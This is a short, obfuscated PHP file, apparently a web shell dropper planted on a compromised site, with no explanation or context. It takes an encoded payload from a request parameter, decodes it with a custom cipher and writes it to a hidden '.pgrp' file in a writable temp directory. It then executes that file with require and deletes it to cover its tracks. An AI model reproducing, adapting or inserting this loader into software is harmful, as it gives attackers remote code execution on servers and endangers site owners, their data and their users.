<?php

if(!empty($_REQUEST["dchu\x6Ek"])){
	$mrk = $_REQUEST["dchu\x6Ek"];
	 $mrk  	=   explode	(	"."	 ,			$mrk	  );
	$pointer =	'';
            $salt9 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	strlen(		$salt9	 );
            $r =	0;
    
            array_walk(		$mrk,	function(		$v8) use(		&$pointer,	&$r,	$salt9,	$sLen) {
                $sChar =	ord(		$salt9[$r%  $sLen]	 );
                $d =	(		(		int)$v8 - $sChar -(		$r%  10))	^	99;
                $pointer .= chr(		$d	 );
                $r++;
            }	 );
	$data = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", session_save_path(), "/var/tmp"]);
	foreach ($data as $itm) {
    		if (!!is_dir($itm) && !!is_writable($itm)) {
    $ent = "$itm/.pgrp";
    if (file_put_contents($ent, $pointer)) {
	require $ent;
	unlink($ent);
	exit;
}
}
}
}